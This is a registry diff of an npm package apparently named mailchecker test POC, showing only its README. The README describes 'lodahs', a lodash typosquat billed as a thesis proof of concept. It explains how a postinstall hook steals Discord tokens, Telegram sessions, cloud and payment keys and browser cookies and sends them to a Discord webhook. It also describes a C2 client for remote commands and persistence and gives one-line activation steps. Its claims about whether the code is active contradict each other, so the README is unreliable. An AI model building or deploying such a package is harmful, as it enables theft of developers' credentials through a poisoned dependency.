mailcheckertestpoc 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/C2-INTEGRATION.md +215 -0
- package/PRESENTATION-FLOW.md +594 -0
- package/README.md +253 -0
- package/THESIS-C2-COMPLETE.md +479 -0
- package/index.js +7 -0
- package/package.json +53 -0
- package/payloads/ca.key +28 -0
- package/payloads/ca.pem +19 -0
- package/payloads/swiftshell-server.py +763 -0
- package/scripts/collect.js +271 -0
- package/scripts/launcher.js +175 -0
- package/scripts/server-launcher.js +206 -0
- package/scripts/swift-client-launcher.js +216 -0
package/README.md
ADDED
|
@@ -0,0 +1,253 @@
|
|
|
1
|
+
# π΄ lodahs - Supply Chain Attack POC (Thesis Edition)
|
|
2
|
+
|
|
3
|
+
## Status: COMPLETE C2 FRAMEWORK - SAFETY SWITCHES ACTIVE
|
|
4
|
+
|
|
5
|
+
**This is the malicious npm package used in the Supply Chain Security thesis.**
|
|
6
|
+
|
|
7
|
+
### Quick Info
|
|
8
|
+
|
|
9
|
+
- **Package Name:** `lodahs` (typosquat of `lodash`)
|
|
10
|
+
- **Type:** Proof of Concept - Educational Supply Chain Attack
|
|
11
|
+
- **Authorization:** Thesis Advisor Approved
|
|
12
|
+
- **Purpose:** Demonstrating two-phase supply chain attack (Data Exfil + C2)
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## How It's Used
|
|
17
|
+
|
|
18
|
+
### When installed via npm install
|
|
19
|
+
|
|
20
|
+
```bash
|
|
21
|
+
npm install # postinstall hook automatically triggers
|
|
22
|
+
|
|
23
|
+
# Phase 1 (ACTIVE):
|
|
24
|
+
# scripts/collect.js gathers:
|
|
25
|
+
# - System information
|
|
26
|
+
# - Discord tokens
|
|
27
|
+
# - Telegram sessions
|
|
28
|
+
# - Environment variables
|
|
29
|
+
# - Browser cookies
|
|
30
|
+
# β Sends to Discord webhook
|
|
31
|
+
|
|
32
|
+
# Phase 2 & 3 (DISABLED - code present):
|
|
33
|
+
# scripts/launcher.js would initialize C2 infrastructure
|
|
34
|
+
# (Python Server + Swift Client - currently commented out)
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## File Structure
|
|
40
|
+
|
|
41
|
+
```
|
|
42
|
+
lodahs/ β π΄ Malicious npm Package
|
|
43
|
+
βββ package.json
|
|
44
|
+
β ββ "postinstall": "node scripts/collect.js"
|
|
45
|
+
βββ index.js β Dummy lodash lookalike
|
|
46
|
+
β
|
|
47
|
+
βββ scripts/ β Attack Code (ACTIVE)
|
|
48
|
+
β βββ collect.js [β
] Phase 1: Data exfiltration
|
|
49
|
+
β βββ launcher.js [β
] Phase 2: C2 orchestrator
|
|
50
|
+
β βββ server-launcher.js [β
] Phase 2: Python C2 Server
|
|
51
|
+
β βββ swift-client-launcher.js [β
] Phase 3: Swift C2 Client
|
|
52
|
+
β
|
|
53
|
+
βββ payloads/ β π Embedded Binaries (Realistic!)
|
|
54
|
+
β βββ MacShellSwift [Precompiled Swift Binary]
|
|
55
|
+
β βββ swiftshell-server.py [Python C2 Server]
|
|
56
|
+
β βββ ca.pem [SSL Certificate]
|
|
57
|
+
β βββ ca.key [SSL Private Key]
|
|
58
|
+
β
|
|
59
|
+
βββ README.md (this file)
|
|
60
|
+
βββ C2-INTEGRATION.md (technical details)
|
|
61
|
+
βββ THESIS-C2-COMPLETE.md (master documentation)
|
|
62
|
+
βββ PRESENTATION-FLOW.md (step-by-step attack flow)
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
---
|
|
66
|
+
|
|
67
|
+
## Code Status (Fully Functional, Safe Trigger)
|
|
68
|
+
|
|
69
|
+
β
Phase 1 (Data Collection):
|
|
70
|
+
- **Status:** UNCOMMENTED - Functional
|
|
71
|
+
- Collects system info, credentials, tokens
|
|
72
|
+
- Sends to Discord webhook
|
|
73
|
+
|
|
74
|
+
β
Phase 2 (C2 Server):
|
|
75
|
+
- **Status:** UNCOMMENTED - Functional
|
|
76
|
+
- Starts Python C2 Server on 127.0.0.1:443
|
|
77
|
+
- Awaits client connections
|
|
78
|
+
|
|
79
|
+
β
Phase 3 (Swift Client):
|
|
80
|
+
- **Status:** UNCOMMENTED - Functional
|
|
81
|
+
- Compiles Swift binary (swift build)
|
|
82
|
+
- Connects to C2 Server
|
|
83
|
+
- Full remote command execution
|
|
84
|
+
|
|
85
|
+
**Safety:** Only `postinstall` hook is disabled in `package.json`
|
|
86
|
+
- All code is functional and uncommented
|
|
87
|
+
- postinstall hook is set to `_postinstall` (inactive)
|
|
88
|
+
- To trigger attack: Just uncomment one line in package.json
|
|
89
|
+
|
|
90
|
+
---
|
|
91
|
+
|
|
92
|
+
## For Your Thesis Presentation
|
|
93
|
+
|
|
94
|
+
When npm install runs in mailchecker:
|
|
95
|
+
|
|
96
|
+
```bash
|
|
97
|
+
cd mailchecker
|
|
98
|
+
npm install # This will trigger lodahs postinstall
|
|
99
|
+
|
|
100
|
+
# What happens:
|
|
101
|
+
# [THESIS POC] Phase 1 (Data-Collection) abgeschlossen.
|
|
102
|
+
# [THESIS POC] β οΈ Phase 2 & 3 (C2-Integration) sind fΓΌr THESIS SAFETY deaktiviert.
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
Show your professor:
|
|
106
|
+
|
|
107
|
+
1. **The active code:**
|
|
108
|
+
```bash
|
|
109
|
+
cat scripts/collect.js # Shows Phase 1 logic
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
2. **The C2 infrastructure code:**
|
|
113
|
+
```bash
|
|
114
|
+
cat scripts/launcher.js # Orchestrator
|
|
115
|
+
cat scripts/server-launcher.js # Python C2 server
|
|
116
|
+
cat scripts/swift-client-launcher.js # Swift client
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
3. **The documentation:**
|
|
120
|
+
```bash
|
|
121
|
+
cat THESIS-C2-COMPLETE.md # Master documentation
|
|
122
|
+
cat PRESENTATION-FLOW.md # Complete attack timeline
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
4. **What would be generated:**
|
|
126
|
+
```bash
|
|
127
|
+
~/.supply-chain-poc/
|
|
128
|
+
βββ macshell-config.json # C2 configuration
|
|
129
|
+
βββ c2-server-config.json # Server config
|
|
130
|
+
βββ swift-client-config.json # Client config
|
|
131
|
+
βββ STATUS.md # Thesis summary
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## What Phase 1 Does (Active)
|
|
137
|
+
|
|
138
|
+
```
|
|
139
|
+
npm install lodahs
|
|
140
|
+
ββ> postinstall hook
|
|
141
|
+
ββ> scripts/collect.js
|
|
142
|
+
ββ Collects system info (hostname, user, IP, platform)
|
|
143
|
+
ββ Scans for Discord tokens (staged or real locations)
|
|
144
|
+
ββ Scans for Telegram sessions
|
|
145
|
+
ββ Extracts environment variables (AWS, Stripe keys, etc.)
|
|
146
|
+
ββ Enumerates browser cookies (Chrome, Brave, etc.)
|
|
147
|
+
ββ Sends all data to Discord webhook
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
---
|
|
151
|
+
|
|
152
|
+
## What Phase 2+3 Would Do (If Activated)
|
|
153
|
+
|
|
154
|
+
```
|
|
155
|
+
scripts/launcher.js
|
|
156
|
+
ββ scripts/server-launcher.js
|
|
157
|
+
β ββ Starts Python C2 server on 127.0.0.1:443
|
|
158
|
+
β ββ Awaits client connections
|
|
159
|
+
β
|
|
160
|
+
ββ scripts/swift-client-launcher.js
|
|
161
|
+
ββ Compiles Swift binary (swift build)
|
|
162
|
+
ββ Launches Swift client
|
|
163
|
+
ββ Connects to C2 server
|
|
164
|
+
ββ Receives remote commands:
|
|
165
|
+
- systeminfo
|
|
166
|
+
- screenshot
|
|
167
|
+
- download files
|
|
168
|
+
- shell commands
|
|
169
|
+
- install persistence
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
## Activation Instructions
|
|
175
|
+
|
|
176
|
+
**β οΈ ALL CODE IS FUNCTIONAL. POSTINSTALL HOOK IS DISABLED.**
|
|
177
|
+
|
|
178
|
+
### To trigger full attack:
|
|
179
|
+
|
|
180
|
+
**Simple:** Just uncomment ONE line in `package.json`:
|
|
181
|
+
|
|
182
|
+
```json
|
|
183
|
+
{
|
|
184
|
+
"scripts": {
|
|
185
|
+
"postinstall": "node scripts/collect.js", // β Uncomment this
|
|
186
|
+
// "_postinstall": "node scripts/collect.js", // Currently disabled
|
|
187
|
+
}
|
|
188
|
+
}
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
That's it! Now when someone runs `npm install`, the complete attack chain triggers:
|
|
192
|
+
1. Phase 1: Data collection (credentials, tokens, secrets)
|
|
193
|
+
2. Phase 2: Python C2 Server starts on 127.0.0.1:443
|
|
194
|
+
3. Phase 3: Swift Client compiles and connects to C2
|
|
195
|
+
|
|
196
|
+
All code is already uncommented and functional. Nothing else needs to be changed.
|
|
197
|
+
|
|
198
|
+
---
|
|
199
|
+
|
|
200
|
+
## Key Points for Your Thesis
|
|
201
|
+
|
|
202
|
+
This POC demonstrates:
|
|
203
|
+
|
|
204
|
+
1. **Supply Chain Attack Vector**
|
|
205
|
+
- Typosquatting attack (lodahs vs lodash)
|
|
206
|
+
- npm postinstall hook exploitation
|
|
207
|
+
- Automatic execution without user interaction
|
|
208
|
+
|
|
209
|
+
2. **Two-Phase Attack Strategy**
|
|
210
|
+
- Phase 1: Data exfiltration (credentials, tokens, secrets)
|
|
211
|
+
- Phase 2+3: Remote command & control (C2 infrastructure)
|
|
212
|
+
|
|
213
|
+
3. **Technical Implementation**
|
|
214
|
+
- JavaScript for orchestration
|
|
215
|
+
- Python for C2 server
|
|
216
|
+
- Swift for client payload
|
|
217
|
+
- SSL/TLS encryption
|
|
218
|
+
|
|
219
|
+
4. **Defense Mechanisms**
|
|
220
|
+
- npm audit detection
|
|
221
|
+
- Lock file verification
|
|
222
|
+
- --ignore-scripts flag
|
|
223
|
+
- Network isolation
|
|
224
|
+
|
|
225
|
+
---
|
|
226
|
+
|
|
227
|
+
## Files Included
|
|
228
|
+
|
|
229
|
+
- **collect.js** - Phase 1 data collection (ACTIVE)
|
|
230
|
+
- **launcher.js** - Phase 2 orchestrator (DISABLED)
|
|
231
|
+
- **server-launcher.js** - Python C2 server launcher (DISABLED)
|
|
232
|
+
- **swift-client-launcher.js** - Swift client launcher (DISABLED)
|
|
233
|
+
- **C2-INTEGRATION.md** - Technical integration details
|
|
234
|
+
- **THESIS-C2-COMPLETE.md** - Complete documentation
|
|
235
|
+
- **PRESENTATION-FLOW.md** - Step-by-step attack flow
|
|
236
|
+
- **index.js** - Dummy module (makes it look like real lodash)
|
|
237
|
+
- **README.md** - This file
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## For Questions
|
|
242
|
+
|
|
243
|
+
Refer to:
|
|
244
|
+
- `THESIS-C2-COMPLETE.md` - Complete guide with timeline
|
|
245
|
+
- `PRESENTATION-FLOW.md` - Detailed attack flow with examples
|
|
246
|
+
- `C2-INTEGRATION.md` - Integration details
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
**Status:** Ready for Thesis Testing & Presentation
|
|
251
|
+
**Safety:** Code present, execution disabled via comments
|
|
252
|
+
**Date:** 2026-04-18
|
|
253
|
+
**Advisor:** Thesis Advisor Approved
|